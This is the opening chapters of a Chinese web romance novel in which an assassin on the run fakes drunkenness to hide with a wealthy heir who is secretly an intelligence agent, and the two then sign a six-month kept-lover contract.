《说好的金丝雀呢,金主怎么跪了》 第1章 要睡一觉吗? 夜色如墨,霓虹刺眼,但总有光照不到的角落。 时清徵靠在暗巷的墙边,呼吸压抑而急促。 “艹,阴魂不散!”他低骂了一句。 不就炸了几个军工厂吗,至于从赤洲追到这里吗? 都横穿大半个地球了,搞得跟炸了他家祖坟一样,至于吗? 至于吗? 我请问呢? 脚步声又一次逼近。 时清徵冷笑一声,直起身,蝴蝶刀在他的指尖翻转,刀刃泛着寒光。 他眼神一凌,刀光一闪而过。 对方也不是吃素的,反应极快,侧身避过了致命一击,但脖颈处依旧被划出了一道血痕。 两人交手极快,隐藏在黑暗中几乎看不清动作,只有刀刃碰撞的声音接二连三响起,让人牙酸。 对方没有开枪,显然也是不想把事情闹大。 时清徵知道不止这一个杀手。 他也不想再浪费时间了。 时清徵眸色一暗,蝴蝶刀往前刺去。 杀手偏头躲开,时清徵一脚踹在人的胸口,将人踹出了三米远。 而后他直接闪身消失在夜色里。 不久后其他几人赶到,看着躺在地上半死不活的同伴,为首那人骂了句:“废物!” “追,他跑不了多远。” “老大,这里是A国,而且对方是万岁,我们怕是没机会了。” “不杀他,我们怎么跟首领交代?” 这次首领下了死命令,一定要将“万岁”的人头带回来。 为此他们已经折了数十个弟兄了,可谓是下了血本。要是完不成任务,上面饶不了他们。 夜总会。 时清徵从后门闪入,混入了嘈杂的人群。 这里有接应他的人。 随后时清徵就靠在洗手间的洗手台边,闭眼沉默了一会。 外面进来了一个人,长得和时清徵有八分相似,不知道的人还以为他们是双胞胎。 时清徵睁眼看了他一会,感慨一句:“小石头,你这易容技术不错啊。” 对面的人是时清徵养在国外的替身,原本长相就和时清徵有四分相似,加上易容,简直到了可以混淆的程度。 对面那人笑了,露出小虎牙:“谢谢大人夸奖。” “路上怎么样,可还顺利?”时清徵问道。 小石头:“顺利,毕竟我当了您这么多年的替身,任谁也看不出来啊。” “今晚你就离开A国,到时候会有人来接你,你跟着他们走就行了。” 小石头:“是,也祝您好运。” 时清徵身份特殊,为了使明面上的资料没有异常,所以在十四岁那年找了个替身,替他在国外生活,让他有一个毫无差错的身份。 如今他回到A国,替身自然就可以功成身退了。 时清徵接了水洗了把脸,才感觉清醒了些。 但身体内部的虚弱叫嚣着。 可血液里翻涌着暴戾的冲动险些压制不住。 这半个月以来一直被追杀,真当他没脾气啊。 他现在就很想一不做二不休,直接把外面那群人弄死。 管他背后洪水滔天。 但理智很快压下这个念头。 自己如今离累死就差一点了,如果真出去怕是会杀敌一千自损八百。 万岁累晕在A国? 他已经不敢想这种消息要是被发出去他的脸往哪搁。 他觉得自己可能会忍不住退圈。 退生物圈的那种。 就算他解决了这批杀手,也会有另外一批人追来,到时候麻烦更是源源不断。 那群杀手不敢大张旗鼓搜人,但一定还在附近。 他不能久留,也不能贸然出去。 时清徵眼神暗了暗。 但这群人留不得,放任他们迟早成为祸患。 不过现在还不是收拾他们的时候,自己得先离开这里,该认怂就认怂。 他能活到现在的两个原因。 一,武力值高,二,有自知之明。 保险起见,现在还是得找个掩护。 他整理了下衣领,走向纷杂的人群。 夜总会内的一层舞池内,灯光杂乱,人群沸腾。 酒精混杂着香水味,伴着动感的音乐打击着人的耳膜,刺激人的精神。 昏暗迷离的彩光下,是欲望与暧昧混合的世界。 时清徵点了杯酒,坐在吧台边慢慢品着,并不着急。 目光一直落在人群中,似乎在等一个机会。 忽然,他唇角微勾,放下酒杯,有些摇摇晃晃地走了出去。 顾鸣鹤今晚只是来喝酒放松的。 公司的事让他焦头烂额,忙得好几天脚不沾地了。 今晚他好不容易有了时间,来和自己发小出来聚聚。 可刚进夜总会大门,他就被人拦住了。 一个年轻男人从里面走出来。 顾鸣鹤下意识打量一下这人。 看起来年纪不大的,十八九岁的样子。 对方从他身侧走过,忽然踉跄了一下,然后一把拽住了顾鸣鹤的衣袖。 “.......” 顾鸣鹤下意识扶了他一下。 时清徵抬眼看他,眸中闪过一丝惊艳,不知道是不是酒精上头,他嗓音低哑,带着几分懒散的醉意:“一个人?” 顾鸣鹤怔了一秒:“......对。” “没对象?”时清徵继续问。 顾鸣鹤:“........嗯。” 时清徵微微颔首,真诚道:“要睡一觉吗?” 顾鸣鹤:“……?” 他见过搭讪的,没见过这么直接的。 刚想拒绝,却在看清对方的脸时顿住了。 只见对方眉眼清俊,眼尾微微上挑,明明什么都没做,却带着些蛊惑。 漂亮,但不女气。 整个人散发出惊人的色气来。 顾鸣鹤挑眉,忽然笑了:“你喝醉了?我送你回去?” 时清徵没回答,只是攥着他的袖子不放,像是真的醉得站不稳。 许久,才慢吞吞道:“不睡啊......?那拉倒吧。” 说完,松开手,摇摇晃晃要走。 三、二、一—— “等等。”顾鸣鹤果然开口。 他伸手扶住时清徵的肩,语气玩味:“我送你。” 时清徵像是终于撑到极限,整个人倒进他怀里。 顾鸣鹤把人打横抱起,对身后的助理淡淡道:“跟靳二说,我有事就先回去了。” 助理:“.......是,顾总。” 夜总会门口,几个杀手还在四处搜寻,眼神阴鸷,活像一群被欠了高利贷的讨债鬼。 其中一人瞥了眼刚驶离的豪车,随口道:“老大,刚才那个人怀里好像抱着个人。” 老大不耐烦:“看什么看?人家小情侣赶着去开房,关你屁事!” 手下:“可是,那个人有没有可能是万岁。” 老大一巴掌拍他后脑勺上:“你他妈是不是瞎?‘万岁’那种杀神能被公主抱?你当他是在逃公主啊?!” 手下委屈:“.......也是。” 杀手脑补中的时清徵:冷血无情,一刀一个小朋友。 现实中的时清徵:被顾鸣鹤搂在怀里,脸埋在他肩上,装醉装得毫无违和感。 车内 时清徵微微睁开眼,从后视镜里看着那群杀手逐渐变成小黑点,嘴角扯出一丝冷笑。 没完没了了是吧? 他明明刻意避开所有已知的监控网络,可对方还是精准锁定了他。 FK集团内部有叛徒,这一点毋庸置疑,但对方的情报网比他预想的还要棘手。 顾鸣鹤的手抚过他的眉眼,指腹温热,动作轻佻却又不失风度,像是在把玩一件意外得来的珍品。 “醒了?”顾鸣鹤低笑,嗓音里带着几分愉悦,“还是根本没醉?” 时清徵没回答,只是闭着眼,任由对方的手指流连在他脸侧。 ——这男人比他想象的敏锐。 但无所谓,他的目的已经达到了。 顾鸣鹤见他不答,也不恼,反而饶有兴致地打量着他。 "唔......"时清徵突然轻哼一声,状似难受地往顾鸣鹤怀里蹭了蹭。 "要吐?"顾鸣鹤低笑,手指捏住他下巴。 时清徵半睁开眼,眸光涣散:"你......是谁?" 顾鸣鹤挑眉:"带你回家的人。" “家?”时清徵扯出个恍惚的笑,指尖无意识地揪住对方衬衫。 什么都没说,但又好像什么都说了。 顾鸣鹤眸色微暗。 时清徵知道对方上钩了——这种养尊处优的公子哥,最吃破碎感这套。 顾鸣鹤也许看出来他是装的,但他没有拆穿,那就说明他对自己感兴趣不是吗? 自己如今太过被动,正好此人看起来就是非富即贵的人。 就先借这个人来隐藏一下行踪吧。 其他的,等自己恢复之后再说。 ———— 架空=架到外太空 看小说,别较真。 主角前期不是搞纯爱,是纯爱搞。 不是完美的主角,别骂我,我玻璃心。 顾鸣鹤?时清徵(zhi三声) 22?19(年龄!!) 脑子一扔,逻辑畅通。 欢迎光~临? 第2章 勾引我? 只是还没来得及反应,跟前那人就欺身而下。 顾鸣鹤单手支在床上,从上方看着时清徵。 另一只手则是开始解那人的衣服,动作着实算不上温柔。 衣服散落了一地。 顾鸣鹤身上带着霸道的荷尔蒙气息,铺天盖地的压了下来。 随之而来的是猛烈的吻。 让人难以招架。 “等等,还没.......”时清徵双手推着顾鸣鹤的胸膛,却没有使劲。 更像是欲拒还迎。 “酒醒了?”顾鸣鹤看着他,手中动作不停。 “很快就好,忍着......” 顾鸣鹤神色幽暗,像是引诱一般。 没有理会身下人,而是选择直奔主题。 主题之后。 两个没开过荤的聚在一起就是没轻没重的。 时清徵瞳孔涣散,忍不住抬手挡了挡面前刺眼的光线。 吊顶上的灯透过了他的指间缝隙,照的手指也泛着红。 他无力地动了动。 “嘶——” 时清徵不由蹙眉,倒吸一口凉气。 艹! 什么叫“很快就好”?这特么快天亮了。 顾鸣鹤则是坐在一旁,赤裸着上身,悠哉地点了根烟。 都说事后一根烟,果然爽啊。 如此想着,他心情很好地半眯起眼。 看着旁边人折腾着起身,还很好心地扶了他一把。 “都这样了,就别乱动。” 丝毫没意识到时清徵这副模样是谁弄的,更没有一点心虚。 时清徵暗暗白了他一眼,随手扯了件衣服。 “都脏了,明天我叫人换新的,你别折腾。” 顾鸣鹤潇洒地往后一仰,半倚在床头,懒洋洋道。 他上半身赤裸,灯光勾勒出完美的肌肉轮廓,正随着呼吸起伏。 上面点点红梅更增添几分暧昧旖旎。 宽肩窄腰,人鱼线隐入他身上盖着的薄被里。 时清徵欣赏了一会,忍住想吹口哨的冲动。 算了,今天还是别作了。 “你要走?”顾鸣鹤看着时清徵拿着上衣准备往身上套,以为这人要走。 “你现在这样子能走多远?”他开口调侃。 时清徵定定看了他几秒,随即将手中的衣服一丢。 衣服就猝不及防地盖了顾鸣鹤一脸。 上面还带着时清徵身上的气息,让人.......感觉一晚白干。 “我去洗澡。”时清徵解释了一句,然后往浴室走去。 顾鸣鹤看着时清徵的背影,手指下意识搓了搓衣服,质地柔软。 忽然他想起了一件事。 他还没问这人叫什么呢。 趁时清徵洗澡的功夫,顾鸣鹤想了想他们今日的初遇。 很老套,很无聊的开扬白,很没意思,很俗套的剧情。 但当顾鸣鹤低头看清时清徵脸的一瞬间。 帮!帮的就是他! 这长相欠十几个亿都是很正常的事情。 于是顾鸣鹤就把人拐.....不是,是带回家了。 顾鸣鹤心情很不错,难得碰上一个他感兴趣的,养养也不亏。 至于这人是不是有别的目的。 呵,在自己身边他又能翻出什么花来? 左右不过花点钱罢了,他最不缺的就是钱。 浴室内的时清徵看着镜中的自己,咬了咬牙。 这男人是有多欲求不满啊。 时清徵随意将湿透的头发往后一撩,露出来俊美的面容。 回国第一天就被追杀,顺便还跟陌生男人睡了一觉,不愧是他。 人生如此精彩。 时清徵表示虽然累了,但也爽到了。 于是选择性忽略了自己身上的斑驳。 顾鸣鹤看着裹着浴袍出来的某人,扬了扬眉。 这么见外? 顾鸣鹤还有些遗憾,上上下下打量着时清徵,似乎要把人看穿。 时清徵浴袍穿得松松垮垮,春色半掩。 顾鸣鹤将目光定格在他前面的风光上。 “看不出来,你身材还挺好。” 时清徵看起来清瘦,实则肌肉线条流畅有力,不过分夸张,着实漂亮。 腰身劲瘦而柔,真是要命。 穿衣显瘦,脱衣有肉,不过如此。 “你衣服给我一件。”时清徵站在顾鸣鹤面前,淡声道。 “别走啊,先住一晚。” “住这?” 时清徵打量着凌乱的床铺。 “住隔壁。”顾鸣鹤也站起身,将烟头掐灭。 太晚了,他也不想收拾。 “等会我带你去。” 然后自己也走进了浴室。 时清徵喘了一口气,找了个地方坐下。 此时已经是后半夜了,万籁俱寂。 一阵手机铃再次响起,不是时清徵的。 “你的电话。” 时清徵对着浴室道。 “谁啊。”顾鸣鹤的声音从浴室里传来。 时清徵走上前看了一眼备注。 “靳云封。” “别管他。”顾鸣鹤声音懒懒的,因为浴室,还带长调。 于是时清徵就真的没管,没接也没挂,就让那铃声在卧室里响着。 铃声一遍又一遍响着,还不时有消息弹出。 最后还是顾鸣鹤走出来将电话挂了。 然后他扫了一眼消息。 【靳云封:顾哥怎么走了也不说一声,没爱了是吗?】 【靳云封:听说你带走了一个人?我这还能有人能入您的眼啊,是何方神仙?】 【靳云封:快拍张正脸!不然我去你床底下看】 【靳云封:猫猫探头jpg.】 顾鸣鹤瞥了眼坐在不远处的时清徵。 对方泛红的眼尾在灯光下像抹了胭脂。他单手回复: 【顾鸣鹤:至少比你看上的那些强。微笑jog.】 靳云封秒回: 【靳云封:哟,护上了?】 【靳云封:我记得你说过“美人如衣服”,一个都看不上吗,现在这是找到高定了?】 【靳云封:难得啊顾总,第一次要不要兄弟我远程指导一下】 【顾鸣鹤:你管得着?】 【靳云封:不是我说,他不会是你二叔派来的吧。】 【靳云封:那要真是这样你可不要沦陷了,这种小情人玩玩就成。】 此时还在夜总会玩的靳云封脸上多了一分谨慎。 他这个兄弟难得把人带回去,总不能第一次就栽了吧? 顾鸣鹤走上前,漫不经心地弯腰把玩着时清徵的手指,一边打字回道: 【顾鸣鹤:新鲜玩意儿罢了,哪里值得靳少这么关照?】 【靳云封:你喜欢哪种类型啊,兄弟我以后帮你留意着。】 【顾鸣鹤:不需要。】 聊天框显示“对方正在输入中......” 持续良久。 然后视频通话就弹了过来。 顾鸣鹤:“你很闲啊?” 这语气可算不上好。 靳云封:“哟,接我电话了,我还以为顾哥你把人家给忘了呢。 怎么,初试云雨停不住,不知天地为何物了?” 顾鸣鹤闭了闭眼,忍住想过去收拾他一顿的冲动。 “你要是闲可以找个班上,省的祸害花花草草。” “你很忙吗?”时清徵抬眼看他。 “也没什么事。”顾鸣鹤轻笑,直接挂掉了电话。 随后长按关机键,将手机黑屏。 另一边,夜总会卡座 陪酒女好奇地凑近:“靳少在看什么呢?” 靳云封盯着手机,表情活见鬼:“稀奇了,顾鸣鹤居然会挂我电话。” “顾总以前不这样吗?” “他以前?”靳云封晃着酒杯笑出声,“他以前根本不会接。” 挂了电话后,终于清静了。 顾鸣鹤看了一眼凌乱的床铺以及...... 今晚这里是睡不了了。 第3章 你不清楚吗 再往下,浴袍穿的松松垮垮,露出里面的肌肤。 “看得这么入神?” 顾鸣鹤俯身凑近,浴袍顺着他的动作散的更开,露出大片紧实的胸膛。 沐浴的清香混着水汽扑面而来,和时清徵身上的味道如出一辙。 时清徵抬眼,正好对上顾鸣鹤垂落的视线。 浴袍腰带系得随意,似乎下一秒就要散开。 水珠一路滚落,滑进肌理分明的腹肌里。 这极好的身材上却多了数不清的暧昧红痕,别有一番风情。 再加上顾鸣鹤此时的动作—— 一只手撑在扶手上,另一只手搭在时清徵脸颊上。 说不出来的恣肆与 .......骚气。 时清徵默默看着顾鸣鹤的脸,在心里评价一番。 好在他腰间的酸痛让他不至于沉迷于美色。 “怎么,没见过美男出浴,看呆了?” 顾鸣鹤唇角勾起玩味的弧度,故意往前倾了倾身。 顾鸣鹤发尾的水滴落在时清徵脸颊上,一片冰凉。 时清徵回过神来,指尖抹去那水渍。 “勾引我?” 顾鸣鹤:....... 这话不应该他来说吗? 时清徵抬手推开了他:“行,改天。” 顾鸣鹤没设防,被时清徵推得往后倒退了一步。 随即有些不可思议地抬头:“你力气还挺大,那先前在床上.......” 时清徵没回话,直起身往外走去。 折腾一晚,他困了。 再不睡,天就亮了。 顾鸣鹤若有所思地看着时清徵的背影,然后也跟了出去。 今日大早,两人都起晚了。 时清徵醒的时候已经下午一点了。 窗帘还没有拉开,所以屋内昏暗一片。 衣服已经放在了一边,应该是顾鸣鹤临走时安排的。 尺寸还正好,也不知是什么时候量的。 时清徵走下楼梯。 顾鸣鹤今日没有去上班,现在正在客厅的沙发上坐着,面前放着一台笔记本电脑。 “醒了?”顾鸣鹤扫了时清徵一眼。 时清徵微微颔首,然后坐到侧方的一个沙发上。 有些没力气,瘫进沙发里。 顾鸣鹤看着时清徵一副萎靡不振的样子,有些乐了。 “怎么不多休息一会?” 时清徵:“越睡越累,还是不睡了。” 他前几天为了躲那群疯狗,几乎跑了大半个地球,都没怎么休息过。 昨晚还进行了一扬酣畅淋漓的对决,有些心累。 “吃什么,让李婶去做?” “不饿。”时清徵起的晚,所以现在没什么饥饿感。 只觉得自己从头到脚,连每一个细胞都在叫嚣着罢工。 就是那种很疲惫但又不能睡的感觉。 睡久了更难受。 顾鸣鹤:“行,那就让李婶随便做点。” 说完也不管时清徵的意见,直接让人去做饭了。 时清徵也没多说什么,只是打了个哈欠。 “不用,等会吃中饭就行。” 顾鸣鹤笑了一声:“有没有可能我们已经吃过了?” 时清徵:“这么早?” 顾鸣鹤只是抬起手,用手表对着时清徵,示意他看时间。 时清徵瞥了一眼,然后满不在乎地瘫了回去。 没力气,不想动,累死了。 顾鸣鹤觉得这人有趣的紧,忍不住就想逗逗他。 但时清徵的兴致似乎并不高,一下有一下无的敷衍着。 忽然,顾鸣鹤想到了一个重要的问题。 他还不知道对方的名字。 “啊,我啊?”时清徵大脑宕机了半天。 “时清徵。” 声音懒懒的,敷衍已经快溢出来了。 顾鸣鹤看着时清徵想名字都想了半天,很怀疑这人是不是编了个假名来骗他。 “你叫什么?” 时清徵礼尚往来,木着一张脸问。 顾鸣鹤有些怀疑这人是不是被自己折腾坏了,怎么看起来呆呆的。 时清徵丝毫没意识到自己的智商被人怀疑了,还坐在那神游天外呢。 “顾鸣鹤。” 顾鸣鹤回答完,看时清徵半天没反应,追问道。 “我叫什么?” 时清徵:“顾鸣鹤。” 他闭着眼,只是累,说不出来的累。 半晌,他反应过来,呢喃了一句:“顾鸣鹤?” 有点耳熟啊,他在哪里听过吗? 时清徵支着脑袋,看着几步之外的顾鸣鹤。 然后默默掏出了手机,在搜索引擎上打下“顾鸣鹤”的字母。 输入法第一个就是“顾鸣鹤”。 原来是这个鸣鹤。 他默默想着。 当页面跳转的瞬间,差点被满屏金灿灿的百科词条闪到眼睛。 【天和集团执行总裁】【福布斯30位30岁以下精英】【最年轻上榜企业家】...... 时清徵一扬眉,天和集团?那不是去年收购了盟洲老牌车企的世界百强吗? 他抬眼打量正在解袖扣的顾鸣鹤。 好家伙,这哪是普通富二代,根本是座行走的金矿啊! 百科页面继续往下滑动。 天和集团是顾家的核心产业之一。 【顾氏家族】词条下赫然列着七八个跨国集团缩写,但具体产业介绍全部语焉不详。 这种刻意低调反而更让人浮想联翩。 时清徵突然想起那些商战小说里总有一个神秘莫测的“京圈顾家”。 小说照进现实了啊。 时清徵颇有些兴趣地想。 "看够了吗?"低沉的嗓音突然在头顶响起。 时清徵摇了摇头,饶有兴趣地继续划拉。 此时的屏幕正好停在顾鸣鹤去年在某商业论坛的演讲照片。 那是一张三百六十度无死角的俊脸。 顾鸣鹤一只手伸过来,盖住时清徵的手机屏幕。 时清徵的视线终于落到了他身上。 “还满意吗?” 时清徵眨巴下眼,眼睛往下,落在某处,随后点头。 “太满意了。” 简直是骇人听闻,自愧不如啊。 丝毫没意识到时清徵想歪的顾鸣鹤勾了勾唇。 “以后你跟着我,我不会亏待你的。” 时清徵纠结了一会。 顾鸣鹤:“你可以考虑一下,晚点再给我答复。” “没问题啊顾总。” 时清徵笑盈盈地开口。 反正他还要在A国待一段时间,就当是休假了。 对于这个结果,两个人都很满意。 当晚,顾鸣鹤的书房。 他姿态慵懒地靠在真皮椅中,将一份协议往前一推,停在时清徵面前。 “看看。”顾鸣鹤的语气很是温和。 时清徵垂眸,拿起那份协议。封面上印着劳动合同。 他眉梢几不可察地动了一下,随后翻动纸页。 里面条款清晰:为期半年,职务是他的“生活助理”,月薪五十万。 五十万月薪的“生活助理”实际上只有一个工作。 时清徵没有犹豫,拿起一旁的钢笔,顺手转了下。 随后他利落落笔,写下了“时清徵”三个大字。 钱不钱的不重要,重要的是脸。 给睡还给钱。 就是半年可能太长了些。 顾鸣鹤将合约收好,看了一眼上面的名字,夸了一句: “字不错。” 时清徵坐在椅子上,眼尾上挑,笑得散漫:“那当然,我可是练过的。” 丝毫不谦虚。 顾鸣鹤将合约放到一边,两手相抵,看着时清徵道:“这半年你就住在我这,有什么需要吩咐下面的人就行。” 时清徵朝他比了个OK的手势,表示没问题。 顾鸣鹤见这人丝毫没有被包养而产生的低人一头的架势,对他也有些好奇了起来。 “你先前在国外是做什么的,为什么突然回国?” 时清徵对顾鸣鹤调查他一点都没有吃惊,很认真地回道。 “我原本在学校好好的当一个混子,结果得罪人被劝退了。” 顾鸣鹤:“........” 难怪这人回国第一天晚上就出现在夜总会。 时清徵很正经地继续道:“我在学校得罪了一个当地富豪的儿子,人家有权有势,我干不过他们,就灰溜溜地回来了。” “没想到他们不讲武德,还派人来京城弄我。” 时清徵说着,还叹了一口气。 混子? 顾鸣鹤觉得这人十有八九是在胡说八道。 毕竟时清徵的脸摆在这里,怎么看都不像是会搞事的人。 但偏偏时清徵的表情又真诚得很,不像是说假话。 “那顾总呢,怎么忽然要包养我了,我的魅力这么大?只用了一晚就吸引到你了?”时清徵抬眸看他。 言语中带着暗示。 顾鸣鹤的目光不由落在时清徵衣领处漏出的锁骨上。 喉结滚动了一下。 “你不清楚吗?” 时清徵笑了一声,站起身,双手撑在顾鸣鹤面前的桌子上,弯下腰和坐在另一边的顾鸣鹤对视。 两人谁都没有开口。 但莫名的气氛从两人中间升起。 时清徵眨了眨眼。 顾鸣鹤猛地站起身,绕过桌面将时清徵的腰揽住。 声音暗哑:“让我看看你的能耐。” 时清徵笑容更甚。 只是顾鸣鹤刚将人打横抱起,一通电话就响了起来。 两人不约而同地皱了皱眉。 第4章 做任务把脑子做坏了 看清楚来电,顾鸣鹤的眸光都严肃了起来。 他摆了摆手示意时清徵先离开。 时清徵被扰了兴致,耸耸肩直接出去了。 顾鸣鹤没有第一时间接电话,而是等电话响到第三次时才接。 他拿起电话,没有坐下,而是倚在桌边,听对面的描述。 随后语气懒散地问:“所以''万岁''现在已经入境了?” 顾鸣鹤转头望着窗外,看着已经沉下来的夜色。 此时还有一些佣人在花园里,几个聚一起,似乎是在闲谈。 “确认,情报处那边已经启动了监控程序。” “这样也没多大用啊。”顾鸣鹤的目光从窗外收回。 “万岁的资料我们所知甚少,一味排查没有任何用处。” 对面的中年男人道:“那你觉得我们该怎么做,当他不存在?” 万岁——那个曾经在国际暗网上连续数年霸占榜首的顶级杀手,近两年却如同人间蒸发。 业内甚至流传着他已经退出江湖的传言,甚至也有人说他死在任务中了。 如今这个危险的变数突然出现在京城,绝非巧合。 顾鸣鹤的指尖抵住桌角:“他不会随意出手的,这里可是A国,万一他是来旅游的呢?。” 国际排行榜上的那些顶尖杀手一般出没于赤洲或者碎洲等动乱地区。 A国境内突然出现一个顶尖杀手,很难不引起关注。 “白鹤,你态度给我放端正点。”对面男人严肃了起来。 顾鸣鹤:“我说的是事实,他近两年没怎么出现过,所以我们没必要死盯着,我们与他又没过节。” “我们只是查一下他的下落罢了,要是他能早日离开自然是再好不过,毕竟最近京城可不太平,万一他也是冲这件事来的。” 顾鸣鹤问道:“他的行动目的是什么,怎么突然来A国了?” “好像与与''幽灵''组织有关,具体原因仍在查。” “所以啊,局长,我猜他就是路过。” 对面被他这话噎了一下,随后开口:“先别说他了,这次找你还是因为顾砚川那边有行动了......” 顾砚川是顾鸣鹤的二叔,主要管理顾家的一些海外业务。 顾鸣鹤的眼神瞬间变了,收起了那一丝散漫。 “风控部检测到三笔异常的跨境转账,总金额超十亿。” “我会趁机调查清楚的。”顾鸣鹤道。 沉默几秒后,对方又忽然转移了话题。 “听闻你昨日带回了一个人?” 顾鸣鹤坐回桌前,手指搭在桌沿:“怎么,局长你连这点事都要管?” “那倒不是,这是正常流程,因为你的身份保密级别高,所以更应该小心。” “我想我这一点私人社交的权利还是有的吧。”顾鸣鹤坐到了椅子里。 “为了你的安全着想,我们这边会彻查他,这次也只是跟你知会一声。 你也是第七局的老人了,这规矩应该懂,每牺牲一名特工都是我们的损失,特别是像你这样的。” 顾鸣鹤一副好商量的模样:“局长,我知道分寸,另外既然你们这么担心,就查呗,我这边没问题。” “嗯。” 挂了电话后,顾鸣鹤沉默地坐了一会,手指在桌面上划出了一个“十”字形。 然后手指点在了最中央。 许久后,他的目光落在书房另一面墙上挂着的白鹤画上。 刚才跟他打电话的人是第七局的局长。 刚才的男音不是局长的本音,他年纪可比这声音老多了。 十五岁那年,当其他富家子弟还在为跑车和派对疯狂时,顾鸣鹤已经因为特殊的背景身份被第七局选中。 随后通过了第七局的层层严苛测试。 考核通过的那天晚上,一位自称“夜猫”的男人在他面前放下一份合约。 “签了它,你将拥有普通人难以想象的特权。但条件是,你必须隐藏好这个身份,借以后你在商业中的地位.......” 顾鸣鹤当时就笑了,他从小就知道,顾家光鲜亮丽的外表下藏着多少肮脏的秘密。 想要掌权,他一个人的力量是不够的,但要是第七局在背后支持他就不一样了。 签下名字的那一刻,他获得了”白鹤”这个代号。 第七局——这个在官方档案中从未存在过的神秘组织,似乎是游走在现实与虚幻的边缘。 没有人知道它的确切位置,也没有人见过它的完整名单。 它的成员完美地隐藏在社会各个角落,可以是医生,也可以是演员。 甚至底下的人相互之间也不知道身份,每个人直接与上一级沟通。 同级间相互也不认识。 等他回到卧室,时清徵已经睡下了。 顾鸣鹤走到床边,屋内只有一盏床头灯还亮着。 幽暗的光线落在时清徵的脸侧,让人格外柔和。 看起来像只乖巧的小猫。 顾鸣鹤的手蹭了蹭时清徵的脸颊。 他包养时清徵自然不止是看上了他这个人。 自己如今需要有个人在自己身边帮忙遮掩,时清徵对一切毫不知情,以后出什么事会是一个很好的借口。 时清徵在顾鸣鹤进门的那一瞬间就醒了,但却一直躺床上装睡。 直到顾鸣鹤的手蹭上他的脸,他才悠悠转醒。 “顾总?” 他直起身,睡眼惺忪,声音里还带着困倦。 眼中因为困意泛起泪花,看着顾鸣鹤。 顾鸣鹤见他这副样子,也不可能再做些什么。 于是弯下腰低声道:“睡吧。” 时清徵:ber,我衣服都脱了你给我说这个? 当顾鸣鹤躺下后,时清徵侧过身,目光幽怨地扫了他一眼。 啧啧。 你是不是不行? 最终还是带着些不满入睡了。 接下来几日,时清徵像是摆烂一眼,宅在半山庄园里,连大门都不迈出去一步。 顾鸣鹤对此也有些无奈:“我没不让你出去。” 时清徵此时正懒洋洋地躺在沙发上,玩着某款农药游戏。 听见顾鸣鹤的话只是敷衍地哦了一声。 顾鸣鹤见他没骨头的样子,走到他身边想抽出他的手机。 结果时清徵恰好转了个身,躲过了顾鸣鹤的动作。 顾鸣鹤没碰到手机,转而将手放在时清徵脸上:“躺着像什么样子?” 顺手揉了一把。 时清徵此时正在推水晶,紧张得很。 完全没注意到某位金主大人的不满。 直到游戏结束,他才放下手机,应道:“好。” 觉得有些没诚意,还补充了一句:“都听您的,先生。” “今晚有个聚会,我带你去玩玩。”顾鸣鹤的手在时清徵脸颊上捏了一下。 “好啊。”时清徵笑笑,答应地爽快。 ———— “鸣鹤,这是你新养的那个小情儿?” 卡座内,一个年轻男人笑得揶揄,靠在卡座里一副看好戏的模样。 他留着长发,随意扎在脑后。 自从顾鸣鹤的那群狐朋狗友知道他养了只金丝雀后就好奇的不行。 一天到晚净偷摸打听时清徵的消息。 一得知顾鸣鹤今晚有空,他这群兄弟就撺掇着顾鸣鹤把人带出来露露面。 顾鸣鹤松开揽着时清徵的手,往里走去。 “你还管别人的事?” “我这不是好奇,到底是什么样的人能让鹤哥另眼相看。”宋燕归嘴里咬了根烟,拍了拍自己身边的人。 “让个座。” 那人很识相地挪开了位置。 顾鸣鹤却没有坐过去,而是随意找了个不远的位置坐下。 “过来。” 顾鸣鹤朝站在原地没动的时清徵勾了勾手。 时清徵抿了抿唇,很听话地走了过去,坐在顾鸣鹤的身边。 包厢内众人打量的视线毫不避讳地落到时清徵身上。 “鹤哥好福气啊。” 说话之人是靳云封,靳家二少,属于是和顾鸣鹤玩的最好的一批朋友,也是前几天打电话骚扰顾鸣鹤的那位。 这个可是实打实的纨绔子弟,混日子头头。 干啥啥不行,搞事第一名。 最爱混迹在美人乡中,仗着自己那张俊脸可谓是荤素不忌,男女通吃。 顾鸣鹤笑了笑,没有说话,而是将一只手放在时清徵腰上,用行动说明了一切。 周围人看时清徵和顾鸣鹤的目光暧昧。 嘶,这小模样真不错啊。 时清徵只是低垂着眼,一副温顺乖巧的做派。 别问,问就是小说里金丝雀都是这样色的。 时清徵先前可是做过功课的。 面前忽然出现了一杯酒。 握着杯子的手骨节分明,很是漂亮。 “能喝酒吗?” 时清徵看着手指的主人,咬了咬唇,随后微微点头,犹豫地接过杯子。 顾鸣鹤见时清徵这么乖,也笑了,抬手用指腹轻轻划过时清徵的脸颊。 引起小小的战栗。 时清徵仰头将杯中的酒一饮而尽,随后咳嗽了起来。 像是受不住酒劲儿,他的脸颊迅速泛红,整个人晕乎乎的。 时清徵抬手用手背冰了冰发热的脸颊,无措地望向顾鸣鹤:“先生,我...我去趟洗手间。” 顾鸣鹤不喜欢时清徵叫他顾总,所以在床上纠正了几次。 时清徵表示:不叫就不叫呗,叫了你更来劲。 这就是金主大人的情趣吗? 顾鸣鹤的手按在时清徵的嘴角,揉了一下:“去吧。” 得到了同意,时清徵站起身,起的似乎有些蒙,所以走路时踉跄了一下。 顾鸣鹤坐在原位,没有伸手去扶一下的打算。 这几日时清徵都窝在家里,根本没有出门的意思,真跟笼中雀一样了。 实际上只有时清徵知道,他只是懒癌犯了罢了。 顾鸣鹤觉得他整日闷着也不是那么一回事,索性将人带出来玩玩。 直到时清徵走出门,靳云封才凑了过来。 “不错啊,还是鹤哥眼光好。” 顾鸣鹤懒怠地往沙发背上一靠,随意开口道:“偶然捡的,看他怪可怜的就带回家养着。” “捡的?” 靳云封眼珠子转了一圈,给顾鸣鹤递了根烟:“你确定不是你二叔........” “查过了,干净的。” 顾鸣鹤伸手接过烟,放在嘴里咬着。 前几日他就已经派人查了时清徵的资料。 A国国籍,但是在国外长大,前几日刚回国。 跟京圈人没什么交集,更不可能认识他那个二叔。 “没想到鹤哥你喜欢这种类型,要不要兄弟我给你多找些来。” 靳云封看热闹不嫌事大,乐呵地开口。 “不用,他就不错。” “你这小情儿看起来挺无聊的,我那有几个有趣的。” 靳云封还是没放弃往顾鸣鹤身边塞人的打算。 “无聊?我倒是觉得挺听话的,很有意思。” 顾鸣鹤说话的时候,像是想起了什么,眼中不由浮现出笑意。 这几日时清徵是越来越乖巧了,只是有时候会有些小脾气,不过问题不大。 靳云封耸了耸肩:“听话?确实听话,跟木头一样。” 时清徵摇摇晃晃地走出了包间,站在洗手台前看着镜中的自己。 